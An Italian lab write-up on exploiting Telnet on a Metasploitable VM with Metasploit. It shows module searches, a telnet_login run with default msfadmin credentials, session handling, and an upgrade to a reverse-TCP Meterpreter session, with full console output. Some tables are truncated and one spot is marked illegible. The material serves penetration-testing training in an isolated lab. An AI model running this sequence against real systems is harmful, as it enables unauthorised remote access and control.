

METASPLOIT TELNET EXPLOITATION

1. OBIETTIVO

Lo scopo dell'esercizio è quello di exploitare il protocollo Telnet della metasploitable per fare pratica con metasploit e rivedere i comandi e i moduli spiegati a lezione.

2. CONFIGURAZIONE DELL'AMBIENTE

Per poter fare questo esercizio è necessario mettere in collegamento la macchina attaccante(kali) e la metasploitable. In questa occasione le schede di rete delle due macchine sono state messe in scheda solo host.

3. FASI DI EXPLOIT

3.1 SCANSIONE DEL SERVIZIO TELNET

Fare l'accesso tramite terminale della Kali a metasploit con il comando `msfconsole`. Una volta entrati si cerca tramite `search` gli auxiliary telnet.

```
msf auxiliary(scanner/telnet/telnet_version) > search type:aux telnet
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/telnet	.	normal	No	Authentication Capture: Telnet
1	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Brocade Enable Login Check Sca
2	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisco IOS Telnet Denial of Ser

Per questo progetto ci interessa il modulo `auxiliary/scanner/telnet/telnet_version`, per scoprire se ci sono server telnet attivi e leggere il messaggio di benvenuto.

```

13  auxiliary/scanner/telnet/telnet_login
anner
14  auxiliary/scanner/telnet/telnet_version
Detection
15  auxiliary/scanner/telnet/telnet_encrypt_overflow
tion Key ID Overflow Detection

```

Trovato il modulo scelto si lancia il comando `use` per impostare il module e tramite `show option` si vedono i parametri da impostare. In questo caso si deve solo aggiungere IP della macchina target, e poi si lancia l'`exploit`

[illegible]

3.2 AUTENTICAZIONE E CREAZIONE DELLA SESSIONE

Grazie alla scansione fatta abbiamo ottenuto le credenziali di accesso del target, che possiamo usare per testare il modulo auxiliary/scanner/telnet/telnet_login. I passi sono simili a quelli precedentemente fatti, con il search si cerca il modulo e con use si seleziona. In questa occasione oltre a impostare IP del target bisogna inserire le credenziali di accesso e settare STOP_ON_SUCCESS su True, per disattivare l'attacco di forza bruta. Infine si lancia l'attacco.

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) >
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.56.102:23 - No active DB -- Credential data will not be saved!
[*] 192.168.56.102:23 - 192.168.56.102:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.102:23 - Attempting to start session 192.168.56.102:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.56.101:35115 -> 192.168.56.102:23) at 2026-07-21 09:26:00 -0400
[*] 192.168.56.102:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

3.3 GESTIONE DELLE SESSIONI

L'exploit appena fatto ha creato una sessione, che si può vedere tramite comando `session -l`. Se si vuole avere accesso a quella sessione si fa uso del comando `sessions -i <ID session>` e si ha il controllo, in questo modo si possono gestire più sessioni insieme. Infine mettere in background la sessione per operazioni successive.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
-----
  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1    shell TELNET msfadmin:msfadmin (192.168.56.102:23) 192.168.56.101:35115 -> 192.168.56.102:23 (192.168.56.102)

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > |
```

3.4 UPGRADE DELLA SESSIONE A METERPETER

Si può, tramite modulo `post/multi/manage/shell_to_meterpreter`, fare un upgrade della sessione a Meterpreter, un payload avanzato che assicura una shell interattiva per controllare la macchina vittima.

Per poter fare questo upgrade bisogna selezionare il modulo tramite `use`, e tramite `set` impostare la sessione da aggiornare. Infine si avvia il processo con `run`.

```

msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.101:4433
[*] Sending stage (1062760 bytes) to 192.168.56.102
[*] Meterpreter session 2 opened (192.168.56.101:4433 -> 192.168.56.102:32794) at 2026-07-21 10:25:25 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

```

Come visto in precedenza per testare l'upgrade si attiva la sessione e si ha accesso a Meterpreter dal quale si possono mandare comandi direttamente al target, per esempio si possono vedere le informazioni di sistema o i file salvati nel server.

```

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTupple  : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > ls
Listing: /home/msfadmin

```

Mode	Size	Type	Last modified	Name
020666/rw-rw-rw-	0	cha	2010-03-16 19:01:07 -0400	.bash_history
040755/rwxr-xr-x	4096	dir	2010-04-17 14:11:00 -0400	.distcc
040700/rwx-----	4096	dir	2026-07-20 06:25:02 -0400	.gconf
040700/rwx-----	4096	dir	2026-07-20 06:25:32 -0400	.gconfd
100600/rw-----	4174	fil	2012-05-14 02:01:49 -0400	.mysql_history
100644/rw-r--r--	586	fil	2010-03-16 19:12:59 -0400	.profile
100700/rwx-----	4	fil	2012-05-20 14:22:32 -0400	.rhosts
040700/rwx-----	4096	dir	2010-05-17 21:43:18 -0400	.ssh
100644/rw-r--r--	0	fil	2010-05-07 14:38:35 -0400	.sudo_as_admin_successful
040755/rwxr-xr-x	4096	dir	2010-04-27 23:44:17 -0400	vulnerable

```

meterpreter > |

```

4. CONCLUSIONE

Con questo laboratorio si è sperimentato il tool metasploit su macchina vulnerabile in ambiente isolato. Si sono svolte tutte le fasi di un exploit, dalla fase di reconnaissance all'upgrade per ottenere una sessione Meterpreter, grazie al database di questo strumento che contiene una vastità di exploit, payloads, moduli ecc, che permettono di progettare e automatizzare la fase di attacco, velocizzando e migliorando il lavoro del penetration testing.

Il framework è stato testato su protocollo telnet ad oggi sconsigliato in favore del più sicuro ssh, poiché non presentando una cifratura trasmette le informazioni in chiaro. Ed proprio questa vulnerabilità che è stata sfruttata con i moduli auxiliary, che hanno permesso di scansionare il target

e ottenere informazioni preziose sul sistema e soprattutto le credenziali, che hanno permesso poi di fare l'exploit.